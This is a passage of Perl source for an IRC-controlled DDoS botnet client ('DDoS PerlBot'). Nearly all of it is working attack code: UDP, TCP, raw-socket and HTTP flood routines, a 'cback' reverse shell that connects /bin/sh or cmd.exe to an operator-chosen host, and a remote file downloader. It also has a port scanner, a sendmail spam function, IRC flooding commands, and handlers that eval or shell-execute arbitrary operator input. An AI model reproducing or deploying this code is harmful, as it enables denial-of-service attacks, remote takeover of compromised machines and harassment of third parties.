\"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1!u \u000312@\u0003\u00039,1udp2 <ip> <packet size> <time>        \u0003\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1!u \u000312@\u0003\u00039,1udp3 <ip> <port> <time>               \u0003\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1!u \u000312@\u0003\u00039,1tcp <ip> <port> <packet size> <time>  \u0003\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1!u \u000312@\u0003\u00039,1http <site> <time>                    \u0003\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1!u \u000312@\u0003\u00039,1ctcpflood <nick>                      \u0003\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1!u \u000312@\u0003\u00039,1msgflood <nick>                       \u0003\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1!u \u000312@\u0003\u00039,1noticeflood <nick>                    \u0003\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1========================================= \u0003\u0002\");\r\n}\r\n\r\nif ($funcarg =~ \/^channel\/) {\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1============================= \u0003\u0002\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1DDoS PerlBot Channel Help:     \u0003\u0002\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1============================= \u0003\u0002\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1!u \u000312@\u0003\u00039,1join <channel>            \u0003\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1!u \u000312@\u0003\u00039,1part <channel>            \u0003\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1!u \u000312!\u0003\u00039,1rejoin <channel>          \u0003\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1!u \u000312!\u0003\u00039,1op <channel> <nick>       \u0003\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1!u \u000312!\u0003\u00039,1deop <channel> <nick>     \u0003\");\t\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1!u \u000312!\u0003\u00039,1voice <channel> <nick>    \u0003\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1!u \u000312!\u0003\u00039,1devoice <channel> <nick>  \u0003\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1!u \u000312!\u0003\u00039,1nick <newnick>            \u0003\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1!u \u000312!\u0003\u00039,1msg <nick>                \u0003\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1!u \u000312!\u0003\u00039,1quit                      \u0003\");\t\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1!u \u000312!\u0003\u00039,1die                       \u0003\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1============================= \u0003\u0002\");\r\n}\r\n\r\nif ($funcarg =~ \/^utils\/) {\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1================================================== \u0003\u0002\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1DDoS PerlBot Utils Help:                            \u0003\u0002\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1================================================== \u0003\u0002\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1!u \u000312@\u0003\u00039,1cback <ip> <port>                              \u0003\");\t\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1!u \u000312@\u0003\u00039,1download <url+path> <file>                     \u0003\");\t\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1!u \u000312@\u0003\u00039,1mail <subject> <sender> <recipient> <message>  \u0003\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1!u \u000312@\u0003\u00039,1dns <ip>                                       \u0003\");\t\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1!u \u000312@\u0003\u00039,1port <ip> <port>                               \u0003\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1!u \u000312@\u0003\u00039,1portscan <ip>                                  \u0003\");\t\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1!u pwd (for example)                               \u0003\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Help]\u0002 \u00039,1================================================== \u0003\u0002\");\r\n}\r\n\r\n#########################\r\n##### [ Functions ] #####\r\n#########################\r\n\r\nif ($funcarg =~ \/^die\/) {\r\n\tsendraw($IRC_cur_socket, \"QUIT :\");\r\n\t$killd = \"kill -9 \".fork;\r\n\tsystem (`$killd`);\r\n}\r\n###########\t\r\nif ($funcarg =~ \/^join (.*)\/) {\r\n\tsendraw($IRC_cur_socket, \"JOIN \".$1);\r\n}\r\n\r\nif ($funcarg =~ \/^part (.*)\/) {\r\n\tsendraw($IRC_cur_socket, \"PART \".$1);\r\n}\r\n###########\r\nif ($funcarg =~ \/^portscan (.*)\/) {\r\n  my $hostip=\"$1\";\r\n  my @portas=(\"1\",\"7\",\"9\",\"14\",\"20\",\"21\",\"22\",\"23\",\"25\",\"53\",\"80\",\"88\",\"110\",\"112\",\"113\",\"137\",\"143\",\"145\",\"222\",\"333\",\"405\",\"443\",\"444\",\"445\",\"512\",\"587\",\"616\",\"666\",\"993\",\"995\",\"1024\",\"1025\",\"1080\",\"1144\",\"1156\",\"1222\",\"1230\",\"1337\",\"1348\",\"1628\",\"1641\",\"1720\",\"1723\",\"1763\",\"1983\",\"1984\",\"1985\",\"1987\",\"1988\",\"1990\",\"1994\",\"2005\",\"2020\",\"2121\",\"2200\",\"2222\",\"2223\",\"2345\",\"2360\",\"2500\",\"2727\",\"3130\",\"3128\",\"3137\",\"3129\",\"3303\",\"3306\",\"3333\",\"3389\",\"4000\",\"4001\",\"4471\",\"4877\",\"5252\",\"5522\",\"5553\",\"5554\",\"5642\",\"5777\",\"5800\",\"5801\",\"5900\",\"5901\",\"6062\",\"6550\",\"6522\",\"6600\",\"6622\",\"6662\",\"6665\",\"6666\",\"6667\",\"6969\",\"7000\",\"7979\",\"8008\",\"8080\",\"8081\",\"8082\",\"8181\",\"8246\",\"8443\",\"8520\",\"8787\",\"8855\",\"8880\",\"8989\",\"9855\",\"9865\",\"9997\",\"9999\",\"10000\",\"10001\",\"10010\",\"10222\",\"11170\",\"11306\",\"11444\",\"12241\",\"12312\",\"14534\",\"14568\",\"15951\",\"17272\",\"19635\",\"19906\",\"19900\",\"20000\",\"21412\",\"21443\",\"21205\",\"22022\",\"30999\",\"31336\",\"31337\",\"32768\",\"33180\",\"35651\",\"36666\",\"37998\",\"41114\",\"41215\",\"44544\",\"45055\",\"45555\",\"45678\",\"51114\",\"51247\",\"51234\",\"55066\",\"55555\",\"65114\",\"65156\",\"65120\",\"65410\",\"65500\",\"65501\",\"65523\",\"65533\");\r\n  my (@aberta, %porta_banner);\r\n  sendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [PortScan]\u0002 \u00039,1Scanning for open ports on \u000312\".$1.\" \u00039,1started. \u0003\");\r\n  foreach my $porta (@portas)  {\r\n    my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);\r\n    if ($scansock) {\r\n      push (@aberta, $porta);\r\n      $scansock->close;\r\n    }\r\n  }\r\n  if (@aberta) {\r\n    sendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [PortScan]\u0002 \u00039,1Open ports found: \u000312@aberta \u0003\");\r\n    } else {\r\n    sendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [PortScan]\u0002 \u00039,1No open ports found. \u0003\");\r\n  }\r\n}\r\n##############\r\nif ($funcarg =~ \/^download\\s+(.*)\\s+(.*)\/) {\r\n\tgetstore(\"$1\", \"$2\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Download]\u0002 \u00039,1Downloaded the file: \u000312$2 \u00039,1from \u000312$1 \u0003\");\r\n}\r\n##############\r\nif ($funcarg =~ \/^dns\\s+(.*)\/){ \r\n\tmy $nsku = $1;\r\n\t$mydns = inet_ntoa(inet_aton($nsku));\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [DNS]\u0002 \u00039,1Resolved: \u000312$nsku \u00039,1to \u000312$mydns \u0003\");\r\n}\r\n##############\r\nif ($funcarg=~ \/^port\\s+(.*?)\\s+(.*)\/ ) {\r\n\tmy $hostip= \"$1\";\r\n\tmy $portsc= \"$2\";\r\n\tmy $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $portsc, Proto =>'tcp', Timeout => 7);\r\n\tif ($scansock) {\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [PORT]\u0002 \u00039,1Connection to \u000312$hostip\u00039,1:\u000312$portsc \u00039,1is \u000312Accepted. \u0003\");\r\n\t}\r\n\telse {\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [PORT]\u0002 \u00039,1Connection to \u000312$hostip\u00039,1:\u000312$portsc \u00039,1is \u00034Refused. \u0003\");\r\n\t}\r\n}\r\n##############\r\nif ($funcarg =~ \/^udp1\\s+(.*)\\s+(\\d+)\\s+(\\d+)\/) {\r\n    return unless $pacotes;\r\n    socket(Tr0x, PF_INET, SOCK_DGRAM, 17);\r\n    my $alvo=inet_aton(\"$1\");\r\n    my $porta = \"$2\";\r\n    my $dtime = \"$3\";\r\n    my $pacote;\r\n    my $pacotese;\r\n\tmy $size = 0;\r\n    my $fim = time + $dtime;\r\n    my $pacota = 1;\r\n    sendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [UDP-1 DDOS]\u0002 \u00039,1Attacking \u000312\".$1.\" \u00039,1On Port \u000312\".$porta.\" \u00039,1for \u000312\".$dtime.\" \u00039,1seconds. \u0003\");\r\n\twhile (($pacota == \"1\") && ($pacotes == \"1\")) {\r\n            $pacota = 0 if ((time >= $fim) && ($dtime != \"0\"));\r\n            $pacote = $size ? $size : int(rand(1024-64)+64) ;\r\n            $porta = int(rand 65000) +1 if ($porta == \"0\");\r\n            #send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo));\r\n            send(Tr0x, pack(\"a$pacote\",\"Tr0x\"), 0, pack_sockaddr_in($porta, $alvo));\r\n            }\r\n    sendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [UDP-1 DDOS]\u0002 \u00039,1Attack for \u000312\".$1.\" \u00039,1finished in \u000312\".$dtime.\" \u00039,1seconds\u00039,1. \u0003\");\r\n}\r\n##############\r\nif ($funcarg =~ \/^udp2\\s+(.*)\\s+(\\d+)\\s+(\\d+)\/) {\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [UDP-2 DDOS]\u0002 \u00039,1Attacking \u000312\".$1.\" \u00039,1with \u000312\".$2.\" \u00039,1Kb Packets for \u000312\".$3.\" \u00039,1seconds. \u0003\");\r\n\tmy ($dtime, %pacotes) = udpflooder(\"$1\", \"$2\", \"$3\");\r\n\t$dtime = 1 if $dtime == 0;\r\n\tmy %bytes;\r\n\t$bytes{igmp} = $2 * $pacotes{igmp};\r\n\t$bytes{icmp} = $2 * $pacotes{icmp};\r\n\t$bytes{o} = $2 * $pacotes{o};\r\n\t$bytes{udp} = $2 * $pacotes{udp};\r\n\t$bytes{tcp} = $2 * $pacotes{tcp};\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [UDP-2 DDOS]\u0002 \u00039,1Results \u000312\".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})\/1024).\" \u00039,1Kb in \u000312\".$dtime.\" \u00039,1seconds to \u000312\".$1.\"\u00039,1. \u0003\");\r\n}\r\n##############\r\nif ($funcarg =~ \/^udp3\\s+(.*)\\s+(\\d+)\\s+(\\d+)\/) {\r\n    return unless $pacotes;\r\n    socket(Tr0x, PF_INET, SOCK_DGRAM, 17);\r\n    my $alvo=inet_aton(\"$1\");\r\n    my $porta = \"$2\";\r\n    my $dtime = \"$3\";\r\n    my $pacote;\r\n    my $pacotese;\r\n    my $fim = time + $dtime;\r\n    my $pacota = 1;\r\n    sendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [UDP-3 DDOS]\u0002 \u00039,1Attacking \u000312\".$1.\" \u00039,1On Port \u000312\".$porta.\" \u00039,1for \u000312\".$dtime.\" \u00039,1seconds. \u0003\");\r\n\twhile (($pacota == \"1\") && ($pacotes == \"1\")) {\r\n            $pacota = 0 if ((time >= $fim) && ($dtime != \"0\"));\r\n            $pacote= $rand x $rand x $rand;\r\n            $porta = int(rand 65000) +1 if ($porta == \"0\");\r\n            send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == \"1\");\r\n            }\r\n    sendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [UDP-3 DDOS]\u0002 \u00039,1Results \u000312\".$pacotese.\" \u00039,1Kb in \u000312\".$dtime.\" \u00039,1seconds to \u000312\".$1.\"\u00039,1. \u0003\");\r\n}\r\n##############\r\n\r\n##############\r\nif ($funcarg =~ \/^tcp\\s+(.*)\\s+(\\d+)\\s+(\\d+)\/) {\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [TCP DDOS]\u0002 \u00039,1Attacking \u000312\".$1.\":\".$2.\" \u00039,1for \u000312\".$3.\" \u00039,1seconds. \u0003\");\r\n\tmy $itime = time;\r\n\tmy ($cur_time);\r\n\t$cur_time = time - $itime;\r\n\twhile ($3>$cur_time){\r\n\t$cur_time = time - $itime;\r\n\t&tcpflooder(\"$1\",\"$2\",\"$3\");\r\n}\r\n\tsendraw($IRC_cur_socket,\"PRIVMSG $printl :\u0002\u00034,1 [TCP DDOS]\u0002 \u00039,1Attack ended on: \u000312\".$1.\":\".$2.\"\u00039,1. \u0003\");\r\n}\r\n##############\r\nif ($funcarg =~ \/^http\\s+(.*)\\s+(\\d+)\/) {\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1[HTTP DDOS]\u0002 \u00039,1Attacking \u000312\".$1.\" \u00039,1on port 80 for \u000312\".$2.\" \u00039,1seconds. \u0003\");\r\n\tmy $itime = time;\r\n\tmy ($cur_time);\r\n\t$cur_time = time - $itime;\r\n\twhile ($2>$cur_time){\r\n\t$cur_time = time - $itime;\r\n\tmy $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);\r\n\tprint $socket \"GET \/ HTTP\/1.1\\r\\nAccept: *\/*\\r\\nHost: \".$1.\"\\r\\nConnection: Keep-Alive\\r\\n\\r\\n\";\r\n\tclose($socket);\r\n}\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [HTTP DDOS]\u0002 \u00039,1Attacking ended on: \u000312\".$1.\"\u00039,1. \u0003\");\r\n}\r\n##############\r\nif ($funcarg =~ \/^cback\\s+(.*)\\s+(\\d+)\/) {\r\n\tmy $host = \"$1\";\r\n\tmy $port = \"$2\";\r\n\tmy $proto = getprotobyname('tcp');\r\n\tmy $iaddr = inet_aton($host);\r\n\tmy $paddr = sockaddr_in($port, $iaddr);\r\n\tmy $shell = \"\/bin\/sh -i\";\r\nif ($^O eq \"MSWin32\") {\r\n\t$shell = \"cmd.exe\";\r\n}\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [ConnectBack]\u0002 \u00039,1Connecting to \u000312$host:$port \u0003\");\r\n\tsocket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die \"socket: $!\";\r\n\tconnect(SOCKET, $paddr) or die \"connect: $!\";\r\n\topen(STDIN, \">&SOCKET\");\r\n\topen(STDOUT, \">&SOCKET\");\r\n\topen(STDERR, \">&SOCKET\");\r\n\tsystem(\"$shell\");\r\n\tclose(STDIN);\r\n\tclose(STDOUT);\r\n\tclose(STDERR);\r\n}\r\n##############\r\nif ($funcarg =~ \/^mail\\s+(.*)\\s+(.*)\\s+(.*)\\s+(.*)\/) {\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Mailer]\u0002 \u00039,1Sending email to: \u000312$3 \u0003\");\r\n\t$subject = $1;\r\n\t$sender = $2;\r\n\t$recipient = $3;\r\n\t@corpo = $4;\r\n\t$mailtype = \"content-type: text\/html\";\r\n\t$sendmail = '\/usr\/sbin\/sendmail';\r\n\topen (SENDMAIL, \"| $sendmail -t\");\r\n\tprint SENDMAIL \"$mailtype\\n\";\r\n\tprint SENDMAIL \"Subject: $subject\\n\";\r\n\tprint SENDMAIL \"From: $sender\\n\";\r\n\tprint SENDMAIL \"To: $recipient\\n\\n\";\r\n\tprint SENDMAIL \"@corpo\\n\\n\";\r\n\tclose (SENDMAIL);\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [Mailer]\u0002 \u00039,1Email Sended to: \u000312$recipient \u0003\");\r\n}\r\nexit;\r\n}\r\n}\r\n##############\r\nif ($funcarg =~ \/^ctcpflood (.*)\/) {\r\n    my $target = \"$1\";\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [IRCFlood]\u0002 \u00039,1CTCP Flooding: \u000312\".$target.\" \u0003\");\r\n\tfor (1..10) {\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG \".$target.\" :\\001VERSION\\001\\n\");\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG \".$target.\" :\\001PING\\001\\n\");\r\n\t}\r\n}\r\n##############\r\nif ($funcarg =~ \/^msgflood (.*)\/) {\r\n    my $target = \"$1\";\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [IRCFlood]\u0002 \u00039,1MSG Flooding: \u000312\".$target.\" \u0003\");\r\n    sendraw($IRC_cur_socket, \"PRIVMSG \".$target.\" :\u00030,15.\u0003..\u00031,16.\u0003..\u00032,13.\u0003..\u00033,12.\u0003..\u00034,11.\u0003..\u00035,10.\u0003..\u00036,9.\u0003..\u00037,8.\u0003..\u000f\u00038,7.\u0003..\u00039,6.\u0003...\u000f\u00030,15.\u0003..\u00031,16.\u0003..\u00032,13.\u0003..\u00033,12.\u0003..\u00034,11.\u0003..\u00035,10.\u0003..\u00036,9.\u0003..\u00037,8.\u0003..\u000f\u00038,7.\u0003..\u00039,6.\u0003...\u000f\u00030,15.\u0003..\u00031,16.\u0003..\u00032,13.\u0003..\u00033,12.\u0003..\u00034,11.\u0003..\u00035,10.\u0003..\u00036,9.\u0003..\u00037,8.\u0003..\u000f\u00038,7.\u0003..\u00039,6.\u0003...\u000f\u00030,15.\u0003..\u00031,16.\u0003..\u00032,13.\u0003..\u00033,12.\u0003..\u00034,11.\u0003..\u00035,10.\u0003..\u00036,9.\u0003..\u00037,8.\u0003..\u000f\");\r\n}\r\n##############\r\nif ($funcarg =~ \/^noticeflood (.*)\/) {\r\n    my $target = \"$1\";\r\n\tsendraw($IRC_cur_socket, \"PRIVMSG $printl :\u0002\u00034,1 [IRCFlood]\u0002 \u00039,1NOTICE Flooding: \u000312\".$target.\" \u0003\");\r\n\tfor (1..2){\r\n\tsendraw($IRC_cur_socket, \"NOTICE \".$target.\" :\u00030,15.\u0003..\u00031,16.\u0003..\u00032,13.\u0003..\u00033,12.\u0003..\u00034,11.\u0003..\u00035,10.\u0003..\u00036,9.\u0003..\u00037,8.\u0003..\u000f\u00038,7.\u0003..\u00039,6.\u0003...\u000f\u00030,15.\u0003..\u00031,16.\u0003..\u00032,13.\u0003..\u00033,12.\u0003..\u00034,11.\u0003..\u00035,10.\u0003..\u00036,9.\u0003..\u00037,8.\u0003..\u000f\u00038,7.\u0003..\u00039,6.\u0003...\u000f\u00030,15.\u0003..\u00031,16.\u0003..\u00032,13.\u0003..\u00033,12.\u0003..\u00034,11.\u0003..\u00035,10.\u0003..\u00036,9.\u0003..\u00037,8.\u0003..\u000f\u00038,7.\u0003..\u00039,6.\u0003...\u000f\u00030,15.\u0003..\u00031,16.\u0003..\u00032,13.\u0003..\u00033,12.\u0003..\u00034,11.\u0003..\u00035,10.\u0003..\u00036,9.\u0003..\u00037,8.\u0003..\u000f\");\r\n\t}\r\n}\r\n##############\r\n\r\n##############\r\nsub ircase {\r\nmy ($kem, $printl, $case) = @_;\r\n   if ($case =~ \/^join (.*)\/) {\r\n     j(\"$1\");\r\n   }\r\n   elsif ($case =~ \/^part (.*)\/) {\r\n      p(\"$1\");\r\n   }\r\n   elsif ($case =~ \/^rejoin\\s+(.*)\/) {\r\n      my $chan = $1;\r\n      if ($chan =~ \/^(\\d+) (.*)\/) {\r\n        for (my $ca = 1; $ca <= $1; $ca++ ) {\r\n          p(\"$2\");\r\n          j(\"$2\");\r\n        }\r\n      } else {\r\n          p(\"$chan\");\r\n          j(\"$chan\");\r\n      }\r\n   }\r\n   elsif ($case =~ \/^op\/) {\r\n      op(\"$printl\", \"$kem\") if $case eq \"op\";\r\n      my $oarg = substr($case, 3);\r\n      op(\"$1\", \"$2\") if ($oarg =~ \/(\\S+)\\s+(\\S+)\/);\r\n   }\r\n   elsif ($case =~ \/^deop\/) {\r\n      deop(\"$printl\", \"$kem\") if $case eq \"deop\";\r\n      my $oarg = substr($case, 5);\r\n      deop(\"$1\", \"$2\") if ($oarg =~ \/(\\S+)\\s+(\\S+)\/);\r\n   }\r\n   elsif ($case =~ \/^voice\/) {\r\n      voice(\"$printl\", \"$kem\") if $case eq \"voice\";\r\n      $oarg = substr($case, 6);\r\n      voice(\"$1\", \"$2\") if ($oarg =~ \/(\\S+)\\s+(\\S+)\/);\r\n   }\r\n   elsif ($case =~ \/^devoice\/) {\r\n      devoice(\"$printl\", \"$kem\") if $case eq \"devoice\";\r\n      $oarg = substr($case, 8);\r\n      devoice(\"$1\", \"$2\") if ($oarg =~ \/(\\S+)\\s+(\\S+)\/);\r\n   }\r\n   elsif ($case =~ \/^msg\\s+(\\S+) (.*)\/) {\r\n      msg(\"$1\", \"$2\");\r\n   }\r\n   elsif ($case =~ \/^flood\\s+(\\d+)\\s+(\\S+) (.*)\/) {\r\n      for (my $cf = 1; $cf <= $1; $cf++) {\r\n        msg(\"$2\", \"$3\");\r\n      }\r\n   }\r\n   elsif ($case =~ \/^ctcp\\s+(\\S+) (.*)\/) {\r\n      ctcp(\"$1\", \"$2\");\r\n   }\r\n   elsif ($case =~ \/^ctcpflood\\s+(\\d+)\\s+(\\S+) (.*)\/) {\r\n      for (my $cf = 1; $cf <= $1; $cf++) {\r\n        ctcp(\"$2\", \"$3\");\r\n      }\r\n   }\r\n   elsif ($case =~ \/^invite\\s+(\\S+) (.*)\/) {\r\n      invite(\"$1\", \"$2\");\r\n   }\r\n   elsif ($case =~ \/^newerver\\s+(\\S+)\\s+(\\S+)\/) {\r\n       conectar(\"$2\", \"$1\", \"6667\");\r\n   }\r\n   elsif ($case =~ \/^nick (.*)\/) {\r\n      nick(\"$1\");\r\n   }\r\n   elsif ($case =~ \/^raw (.*)\/) {\r\n      sendraw(\"$1\");\r\n   }\r\n   elsif ($case =~ \/^eval (.*)\/) {\r\n      eval \"$1\";\r\n   }\r\n   elsif ($case =~ \/^join\\s+(\\S+)\\s+(\\d+)\/) {\r\n    sleep int(rand($2));\r\n    j(\"$1\");\r\n   }\r\n   elsif ($case =~ \/^part\\s+(\\S+)\\s+(\\d+)\/) {\r\n    sleep int(rand($2));\r\n    p(\"$1\");\r\n   }\r\n   elsif ($case =~ \/^quit\/) {\r\n     quit();\r\n   }\r\n}\r\n##############\r\nsub shell {\r\nmy $printl=$_[0];\r\nmy $comando=$_[1];\r\nif ($comando =~ \/cd (.*)\/) {\r\n\tchdir(\"$1\") || msg(\"$printl\", \"No such file or directory\");\r\n\treturn;\r\n} elsif ($pid = fork) {\r\n\twaitpid($pid, 0);\r\n} else {\r\nif (fork) {\r\n\texit;\r\n} else {\r\nmy @resp=`$comando 2>&1 3>&1`;\r\nmy $c=0;\r\nforeach my $linha (@resp) {\r\n  $c++;\r\n  chop $linha;\r\n  sendraw($IRC_cur_socket, \"PRIVMSG $printl :$linha\");\r\n  if ($c == \"$linas_max\") {\r\n    $c=0;\r\n    sleep $sleep;\r\n  }\r\n}\r\nexit;\r\n}\r\n}\r\n}\r\n##############\r\nsub udpflooder {\r\nmy $iaddr = inet_aton($_[0]);\r\nmy $msg = 'A' x $_[1];\r\nmy $ftime = $_[2];\r\nmy $cp = 0;\r\nmy (%pacotes);\r\n\t$pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;\r\n\tsocket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;\r\n\tsocket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;\r\n\tsocket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;\r\n\tsocket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;\r\n\treturn(undef) if $cp == 4;\r\nmy $itime = time;\r\nmy ($cur_time);\r\n\twhile ( 1 ) {\r\nfor (my $port = 1;\r\n\t$port <= 65000; $port++) {\r\n\t$cur_time = time - $itime;\r\nlast if $cur_time >= $ftime;\r\n\tsend(SOCK1, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{igmp}++;\r\n\tsend(SOCK2, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{udp}++;\r\n\tsend(SOCK3, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{icmp}++;\r\n\tsend(SOCK4, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{tcp}++;\r\nfor (my $pc = 3;\r\n\t$pc <= 255;$pc++) {\r\nnext if $pc == 6;\r\n\t$cur_time = time - $itime;\r\nlast if $cur_time >= $ftime;\r\n\tsocket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;\r\n\tsend(SOCK5, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{o}++;\r\n}\r\n}\r\nlast if $cur_time >= $ftime;\r\n}\r\nreturn($cur_time, %pacotes);\r\n}\r\n##############\r\nsub tcpflooder {\r\nmy $itime = time;\r\nmy ($cur_time);\r\nmy ($ia,$pa,$proto,$j,$l,$t);\r\n\t$ia=inet_aton($_[0]);\r\n\t$pa=sockaddr_in($_[1],$ia);\r\n\t$ftime=$_[2];\r\n\t$proto=getprotobyname('tcp');\r\n\t$j=0;$l=0;\r\n\t$cur_time = time - $itime;\r\nwhile ($l<1000){\r\n\t$cur_time = time - $itime;\r\nlast if $cur_time >= $ftime;\r\n\t$t=\"SOCK$l\";\r\n\tsocket($t,PF_INET,SOCK_STREAM,$proto);\r\n\tconnect($t,$pa)||$j--;\r\n\t$j++;$l++;\r\n}\r\n\t$l=0;\r\nwhile ($l<1000){\r\n\t$cur_time = time - $itime;\r\nlast if $cur_time >= $ftime;\r\n\t$t=\"SOCK$l\";\r\nshutdown($t,2);\r\n\t$l++;\r\n}\r\n}\r\n##############\r\nsub msg {\r\n   return unless $#_ == 1;\r\n   sendraw(\"PRIVMSG $_[0] :$_[1]\");\r\n}\r\nsub ctcp {\r\n   return unless $#_ == 1;\r\n   sendraw(\"PRIVMSG $_[0] :\\001$_[1]\\001\");\r\n}\r\nsub notice {\r\n   return unless $#_ == 1;\r\n   sendraw(\"NOTICE $_[0] :$_[1]\");\r\n}\r\nsub op {\r\n   return unless $#_ == 1;\r\n   sendraw(\"MODE $_[0] +o $_[1]\");\r\n}\r\nsub deop {\r\n   return unless $#_ == 1;\r\n   sendraw(\"MODE $_[0] -o $_[1]\");\r\n}\r\nsub voice {\r\n   return unless $#_ == 1;\r\n   sendraw(\"MODE $_[0] +v $_[1]\");\r\n}\r\nsub devoice {\r\n   return unless $#_ == 1;\r\n   sendraw(\"MODE $_[0] -v $_[1]\");\r\n}\r\nsub j { &join(@_); 